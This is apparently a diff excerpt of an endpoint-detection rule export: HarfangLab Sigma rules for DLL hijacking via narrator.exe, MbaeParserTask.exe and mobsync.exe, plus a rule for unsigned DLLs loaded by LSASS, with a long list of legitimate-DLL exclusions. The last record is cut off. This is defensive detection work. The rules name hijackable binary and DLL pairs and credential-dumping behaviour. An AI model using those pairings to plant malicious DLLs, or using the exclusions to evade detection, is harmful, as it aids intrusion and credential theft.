+  "name": "t1574_001_phantom_dll_hijacking_narrator.yml",
+  "content": "title: Phantom DLL Hijacking via narrator.exe\nid: cac0bdbb-27f5-4b46-8959-cfb19da1e1b3\ndescription: |\n    Detects a potential Windows DLL search order hijacking via narrator.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/\n    - https://trustedsec.com/blog/hack-cessibility-when-dll-hijacks-meet-windows-helpers\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/06\nmodified: 2025/11/05\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Narrator.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded:\n            - '?:\\Windows\\System32\\speech\\engines\\tts\\MSTTSLocEnUS.dll'\n            - '?:\\windows\\system32\\speech_onecore\\engines\\tts\\msttsloc_onecoreenus.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cac0bdbb-27f5-4b46-8959-cfb19da1e1b3",
+  "rule_name": "Phantom DLL Hijacking via narrator.exe",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via narrator.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-06",
+  "rule_modified_date": "2025-11-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cafbc4e6-a99d-4275-81ae-2359ded64f02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077065Z",
+  "creation_date": "2026-03-23T11:45:34.077067Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077072Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mbaeparsertask.yml",
+  "content": "title: DLL Hijacking via MbaeParserTask.exe\nid: cafbc4e6-a99d-4275-81ae-2359ded64f02\ndescription: |\n    Detects potential Windows DLL Hijacking via MbaeParserTask.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MbaeParserTask.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mbaexmlparser.dll'\n            - '\\mobilenetworking.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cafbc4e6-a99d-4275-81ae-2359ded64f02",
+  "rule_name": "DLL Hijacking via MbaeParserTask.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via MbaeParserTask.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cb0d8bac-26b6-47af-a786-f5b7f41feb1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599777Z",
+  "creation_date": "2026-03-23T11:45:34.599780Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599788Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mobsync.yml",
+  "content": "title: DLL Hijacking via mobsync.exe\nid: cb0d8bac-26b6-47af-a786-f5b7f41feb1e\ndescription: |\n    Detects potential Windows DLL Hijacking via mobsync.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'mobsync.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\edputil.dll'\n            - '\\PROPSYS.dll'\n            - '\\shell32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "cb0d8bac-26b6-47af-a786-f5b7f41feb1e",
+  "rule_name": "DLL Hijacking via mobsync.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via mobsync.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "cb289a71-4836-4f9d-b12c-c0582903d497",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612804Z",
+  "creation_date": "2026-03-23T11:45:34.612808Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612815Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_loads_unsigned_dll.yml",
+  "content": "title: Unsigned DLL Loaded by LSASS\nid: cb289a71-4836-4f9d-b12c-c0582903d497\ndescription: |\n    Detects when an unsigned DLL or EXE is loaded by the LSASS process.\n    Attackers may try to load DLLs in LSASS as an attempt to dump credentials off the memory.\n    This could also be a legitimate third party DLL addin features to the machine authentication mechanism.\n    It is recommended to identify the unsigned DLL to determine its maliciousness and document legitimate third party DLLs.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2020/09/30\nmodified: 2026/02/27\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.LSASSAccess\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image: '?:\\Windows\\System32\\lsass.exe'\n        ImageLoaded|startswith: '?:\\'\n        Signed: 'false'\n\n    exclusion_winsxs:\n        ImageLoaded:\n            - '?:\\windows\\winsxs\\\\*\\mfc*.dll'\n            - '?:\\windows\\winsxs\\\\*\\msv*.dll'\n    exclusion_assembly:\n        ImageLoaded: '?:\\Windows\\assembly\\NativeImages_*\\mscorlib.ni.dll'\n    exclusion_ibm:\n        ImageLoaded: '?:\\program files (x86)\\IBM\\Client Access\\\\*'\n    exclusion_known_fp:\n        ImageLoaded:\n            - '?:\\windows\\system32\\firewallapi.dll'  # d280021e4b245853d5e1df290ee894e4d4c1b0b735b536cadda3c4cb65b811f8\n            - '?:\\windows\\system32\\fwbase.dll' # 395f68bfa50c2c233db8a7ef2badd51298526899d2e0e5ea7fb2e5e8617ab9b6\n            - '?:\\windows\\system32\\peerdist.dll' # e8e2eebe93bfd031de6c9b792a09e97b226cdb46d8c6cbbae25da8965f77ff67\n    exclusion_mdmregistration:\n        # C:\\Windows\\System32\\mdmregistration.dll / 888281f120b95799998fe3f6ed1b475500113de0d36f10508e378646db6c01d7\n        ImageLoaded: '?:\\Windows\\System32\\mdmregistration.dll'\n        Description|contains: 'MDM Registration DLL'\n    exclusion_SecureTimeAggregator:\n        # C:\\Windows\\System32\\SecureTimeAggregator.dll / e76a202df9d6d75994d9b4d1dd07b077b1e33641aedbb7a4538c7f4383b5e030\n        ImageLoaded: '?:\\Windows\\System32\\SecureTimeAggregator.dll'\n        Description|contains: 'Secure Time Aggregator'\n    exclusion_dpapi:\n        #  C:\\Windows\\System32\\dpapi.dll / e7df5bdea51d8f294ce24edb8631fca4a6ab9ed0925115d827148417267e234d\n        ImageLoaded: '?:\\Windows\\System32\\dpapi.dll'\n        Description|contains: 'Data Protection API'\n    exclusion_ntdsapi:\n        # C:\\Windows\\System32\\ntdsapi.dll / 4226b241ad2512d5e9daa101cbc693ed31d363b9f18a0fd247413a3c9ee3a4ba\n          ImageLoaded: '?:\\Windows\\System32\\ntdsapi.dll'\n          Description|contains: 'Active Directory Domain Services API'\n    exclusion_vaultsvc:\n        # c:\\windows\\system32\\vaultsvc.dll / a5f150c3aa29b70afb2741650cf35427c6cffe856cf104448803c697bd2f4df7\n        ImageLoaded: '?:\\windows\\system32\\vaultsvc.dll'\n        Description|contains: 'Credential Manager Service'\n    exclusion_certpoleng:\n        # c:\\windows\\system32\\CertPolEng.dll / 86eaa0a8dd22062a05bf0e88ed5e0b4718eea43b6fbaae72cac376bd2606eed1\n        ImageLoaded: '?:\\windows\\system32\\CertPolEng.dll'\n        Description|contains: 'Certificate Policy Engine'\n    exclusion_cryptnet:\n        # c:\\windows\\system32\\cryptnet.dll / b0ea497da38622462e3ed3b5c341839febab38142d6b4055bd4b292194024b2b\n        ImageLoaded: '?:\\windows\\system32\\cryptnet.dll'\n        Description|contains: 'Crypto Network Related API'\n    exclusion_dhcpcsvc6:\n        ImageLoaded: '?:\\Windows\\System32\\dhcpcsvc6.dll'\n        Description: 'DHCPv6 Client'\n    exclusion_peerdist:\n        ImageLoaded: '?:\\Windows\\System32\\PeerDist.dll'\n        Description: 'BranchCache Client Library'\n    exclusion_ondemandconn:\n        ImageLoaded: '?:\\Windows\\System32\\OnDemandConnRouteHelper.dll'\n        Description: 'On Demand Connctiond Route Helper'\n    exclusion_onecorecommon:\n         ImageLoaded: '?:\\Windows\\System32\\OneCoreCommonProxyStub.dll'\n         Description: 'OneCore Common Proxy Stub'\n    exclusion_ngcpopkeysrv:\n        ImageLoaded: '?:\\Windows\\System32\\ngcpopkeysrv.dll'\n        Description: 'Microsoft Passport Proof-of-possession Key Service'\n    exclusion_ibm_1:\n        # c:\\Windows\\System32\\cwbunpls.dll / bd44f06770eab6f5fe89c22d1726fa5c787ea21faa080102b3ae7185a4795093\n        # C:\\Windows\\System32\\cwbcore.dll / 7d7855761a4850e16cd202ea2a0e8e9610fbd6bdc6a6e6ef8de880b9cbb346cc\n        ImageLoaded:\n            - '?:\\Windows\\System32\\cwbunpls.dll'\n            - '?:\\Windows\\System32\\cwbcore.dll'\n        Company: 'IBM Corporation'\n    exclusion_webio:\n        # C:\\Windows\\System32\\webio.dll / e2a18218d1a641914284f8fd96740a48cfc89e5d69516e827f173b8f12f29758\n        ImageLoaded: '?:\\Windows\\System32\\webio.dll'\n        Description: 'Web Transfer Protocols API'\n    exclusion_vaultcds:\n        # C:\\Windows\\System32\\VaultCDS.dll / 9faf8160fb8b8bd01ffaddf96d1cd2f5199cf4de7a77b9e662dd9c02c8475309\n        ImageLoaded: '?:\\Windows\\System32\\VaultCDS.dll'\n        Description: 'Vault CDS'\n    exclusion_efssvc:\n        # c:\\Windows\\System32\\efssvc.dll / 2b96e1724e7783b7ac8f9c17f25d31735c75f6cb9c26e3e7d9a2493ea1952f8b\n        ImageLoaded: '?:\\Windows\\System32\\efssvc.dll'\n        Description: 'EFS Service'\n    exclusion_mskeyprotect:\n        ImageLoaded: '?:\\Windows\\System32\\mskeyprotect.dll'\n        Description: 'Microsoft Key Protection Provider'\n    exclusion_ncryptprov:\n        ImageLoaded: '?:\\Windows\\System32\\ncryptprov.dll'\n        Description: 'Microsoft KSP'\n    exclusion_secur32:\n        ImageLoaded: '?:\\Windows\\System32\\secur32.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Security Support Provider Interface'\n    exclusion_cloudstore:\n        ImageLoaded: '?:\\Windows\\System32\\Windows.CloudStore.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Cloud Data Store'\n    exclusion_cryptngc:\n        ImageLoaded: '?:\\Windows\\System32\\cryptngc.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Microsoft Passport API'\n    exclusion_mcafee:\n        ImageLoaded: '?:\\Program Files\\McAfee\\Endpoint Encryption\\MfeCryptoAdapter64.dll'\n        Company: 'McAfee, LLC'\n        Description: 'McAfee Drive Encryption Cryptographic Adapter Module'\n    exclusion_broadcom:\n        ImageLoaded: '?:\\Windows\\System32\\BCMLogon.dll'\n        Company:\n            - 'Broadcom Corporation'\n            - 'Dell Inc.'\n        Description: 'Wireless Network Logon Provider'\n\n    exclusion_chambersign:\n        ImageLoaded:\n            - '?:\\Program Files\\ChamberSign\\HashLogic\\bin\\idoCardModule.dll'\n            - '?:\\Program Files\\ChamberSign\\HashLogic\\bin\\IAScs.dll'\n            - '?:\\Program Files\\ChamberSign\\HashLogic\\bin\\idoCrypto.dll'\n            - '?:\\Program Files\\ChamberSign\\HashLogic\\bin\\idoLog.dll'\n\n    exclusion_smartcardmiddleware:\n        ImageLoaded:\n            - '?:\\Program Files\\Smart Card Middleware\\bin\\idoCrypto.dll'\n            - '?:\\Program Files\\Smart Card Middleware\\bin\\IAS.dll'\n            - '?:\\Program Files\\Smart Card Middleware\\bin\\MD.dll'\n            - '?:\\Program Files\\Smart Card Middleware\\bin\\idoLog.dll'\n            - '?:\\Program Files\\Smart Card Middleware\\bin\\idoCardModule.dll'\n\n    exclusion_dsparse:\n        ImageLoaded: '?:\\Windows\\System32\\dsparse.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Active Directory Domain Services API'\n\n    exclusion_fwpuclnt:\n        ImageLoaded: '?:\\Windows\\System32\\FWPUCLNT.DLL'\n        Company: 'Microsoft Corporation'\n        Description: 'FWP/IPsec User-Mode API'\n\n    exclusion_rasadhlp:\n        ImageLoaded: '?:\\Windows\\System32\\rasadhlp.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Remote Access AutoDial Helper'\n\n    exclusion_keyiso:\n        ImageLoaded: '?:\\Windows\\System32\\keyiso.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'CNG Key Isolation Service'\n\n    exclusion_efsext:\n        ImageLoaded: '?:\\Windows\\System32\\efsext.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'EFSEXT.DLL'\n\n    exclusion_novell:\n        ImageLoaded:\n            # SHA256: f82cd42cb1cc6d8ad7a3040b9035fb1cc1014d394831eaddb8fa17501c76084d\n            - '?:\\Program Files\\Novell\\CASA\\Bin\\lcredmgr.dll'\n            # SHA256: 56ff7f9823c005b06892f382a623e0f6c8fba69198294d3ea0c0cb8efc4d2aa0\n            - '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\ZenCredManager.dll'\n\n    exclusion_dhcpcsvc:\n        # SHA256: 691a7aff42d558fac26f2a9de6b47d7596b130e730597dc3aff6025cb484d4a1\n        # File version: 10.0.19041.546 (WinBuild.160101.0800)\n        ImageLoaded: '?:\\Windows\\System32\\dhcpcsvc.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'DHCP Client Service'\n\n    exclusion_bit4:\n        # SHA256: 2b0d877e6d81cfea0fc9d9a238e5c9f70e2d972ab8fdd6602feb0ddcb0d1c5d3\n        ImageLoaded: '?:\\Windows\\System32\\bit4upki-store.dll'\n        Company: 'bit4id srl'\n        Description: 'csp-certstore Dynamic Link Library'\n\n    exclusion_docker:\n        # C:\\ProgramData\\docker\\windowsfilter\\2337d416d51a27c0f2d246b6fc5509813cdf743e237675dc1c10389d1e811ea0\\Files\\Windows\\System32\\schannel.dll\n        # C:\\ProgramData\\docker\\windowsfilter\\2337d416d51a27c0f2d246b6fc5509813cdf743e237675dc1c10389d1e811ea0\\Files\\Windows\\System32\\efslsaext.dll\n        ImageLoaded|startswith:\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n            - '*\\docker\\data\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\data\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n\n    exclusion_ktmw32:\n        # SHA256: 61c3bd3f278ea73886c0a0beae617469485af77945c670f492b07136ac079b1e\n        # File version: 10.0.17763.1 (WinBuild.160101.0800)\n        ImageLoaded: '?:\\Windows\\System32\\ktmw32.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Windows KTM Win32 Client DLL'\n\n    exclusion_vaultcli:\n        # SHA256: 958b36962aa44458fbf7f5e5ba4f7318d59cdbe823c24969962573c8afdf2db3\n        # File version: 10.0.19041.1 (WinBuild.160101.0800)\n        ImageLoaded: '?:\\Windows\\System32\\vaultcli.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Credential Vault Client Library'\n\n    exclusion_usermgrproxy:\n        # SHA256: 68eb46851a1c0bbb65ebc20f2cfb22088afefcb5bb25a2d89acbd9c01600f199\n        # File version: 10.0.19041.1 (WinBuild.160101.0800)\n        ImageLoaded: '?:\\Windows\\System32\\UserMgrProxy.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'UserMgrProxy'\n\n    exclusion_urlmon:\n        # SHA256: 68eb46851a1c0bbb65ebc20f2cfb22088afefcb5bb25a2d89acbd9c01600f199\n        # File version: 11.00.19041.1 (WinBuild.160101.0800)\n        ImageLoaded: '?:\\Windows\\System32\\urlmon.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'OLE32 Extensions for Win32'\n\n    exclusion_oberthur:\n        # SHA256: 130edbb63d52004cd25cefb0dfdb8efd113f72cd42f8a9cd7a3577a12fbb0c84\n        ImageLoaded: '?:\\Program Files\\Oberthur Technologies\\AWP\\DLLs\\OcsCsp.dll'\n        Company: 'Oberthur Technologies'\n        Description: 'OCS Cryptographic Service Provider'\n        OriginalFileName: 'OCSCsp.dll'\n\n    exclusion_ibm_npnotes:\n        # SHA256: b02cd69fd6b2f7ae6e5d3f7f2fef3603efa59bdecc0fe3a708550c8b16c2a9c2\n        ImageLoaded|endswith: '\\npnotes64.dll'\n        Company: 'IBM Corporation'\n        Description: 'Notes Network Provider'\n        OriginalFileName: 'npnotes'\n\n    exclusion_authz:\n        # SHA256: 4e4ef8c31583ece0a3b8ed92ff5cc9d04d6ceaf90fa00cdb8adee3808a835bdb\n        # File version: 10.0.19041.1 (WinBuild.160101.0800)\n        ImageLoaded: '?:\\Windows\\System32\\authz.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Authorization Framework'\n\n    exclusion_kmkd:\n        # SHA256: 2e68f8e34cf846bbdb3b752eb25a982c1a5b7e161ceebd6714ffbba14a43f2be\n        # File version: 10.0.14393.3024 (rs1_release.190530-2002)\n        ImageLoaded: '?:\\Windows\\System32\\kmkd.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Windows HMAC Key Derivation API'\n\n    exclusion_wshqos:\n        # SHA256: 5c743290c03f259b536d0f24da5b7020863de913ab55b6c5d845803d1c5242bb\n        # File version:  6.1.7601.24000 (win7sp1_ldr.171231-1547)\n        ImageLoaded: '?:\\Windows\\System32\\wshqos.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'QoS Winsock2 Helper DLL'\n\n    exclusion_winbrand:\n        # SHA256: 19959d18601712901f03b83150d15e34ebcab355bb4692c9a28511a72f57fc66\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\winbrand.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Windows Branding Resources'\n\n    exclusion_morpho:\n        # SHA256: 601f5bd444f3498a79ae51a0097ae0361490cc1128db0a050f59a52cfc8f1b08\n        ImageLoaded: '?:\\Windows\\System32\\RCnfCSP64.dll'\n        Company: 'Morpho e-Documents'\n        Description: 'Morpho Removable Token Cryptographic Provider'\n        OriginalFileName: 'RCnfCSP64.dll'\n\n    exclusion_ecc:\n        ImageLoaded: '?:\\Program FIles\\IAS ECC Middleware\\Bin\\\\*'\n        Company: 'Gemalto'\n\n    exclusion_wkscli:\n        # SHA256: 6fd0dc73dbe7519e2c643554c2a7f8fbe4f9a678c4241bb54b3c6e65d2abcf3a\n        # File version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n        ImageLoaded: '?:\\Windows\\System32\\wkscli.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Workstation Service Client DLL'\n        OriginalFileName: 'WKSCLI.DLL'\n\n    exclusion_dsrole:\n        # SHA256: 73566223914bf670df6b5931fa213e546713531b10391ed65b5256bbd7abde7f\n        # File version: 6.1.7600.16385 (win7_rtm.090713-1255)\n        ImageLoaded: '?:\\Windows\\System32\\dsrole.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'DS Role Client DLL'\n        OriginalFileName: 'DSROLE.DLL'\n\n    exclusion_netapi32:\n        # SHA256: 335acb68c2875c5ec7412af3316212f3470cf3b1a46168115777f60341a390a4\n        # File version: 6.1.7601.23403 (win7sp1_ldr.160325-0600)\n        ImageLoaded: '?:\\Windows\\System32\\netapi32.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Net Win32 API DLL'\n        OriginalFileName: 'NetApi32.DLL'\n\n    exclusion_shlwapi:\n        # SHA256: 257220b2e13a535bea8b05289a1e615a1d1c958445c2a0f8ded40e45da7a5d9f\n        # File version: 6.1.7601.23403 (win7sp1_ldr.160325-0600)\n        ImageLoaded: '?:\\Windows\\System32\\shlwapi.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Shell Light-weight Utility Library'\n        OriginalFileName: 'SHLWAPI.DLL'\n\n    exclusion_netutils:\n        # SHA256: 127506d1db38275614cbeb047c133718ef9d03266ba9c98be55ec7847cfc9c3d\n        # File version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n        ImageLoaded: '?:\\Windows\\System32\\netutils.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Net Win32 API Helpers DLL'\n        OriginalFileName: 'NETUTILS.DLL'\n\n    exclusion_apphelp:\n        # SHA256: a1afd2fd6da5968f6d83733c98d301c82ba33988d28ebfcf2f50eb3b40ef5611\n        # File version: 6.1.7601.19050 (win7sp1_gdr.151029-0600)\n        ImageLoaded: '?:\\Windows\\System32\\apphelp.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'Application Compatibility Client Library'\n        OriginalFileName: 'Apphelp'\n\n    exclusion_iphlpapi:\n        # SHA256: a656353c50ee08422145d00db9cfd9f6d3e664753b3c454b171e2a56a8aa94dc\n        # File version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n        ImageLoaded: '?:\\Windows\\System32\\IPHLPAPI.DLL'\n     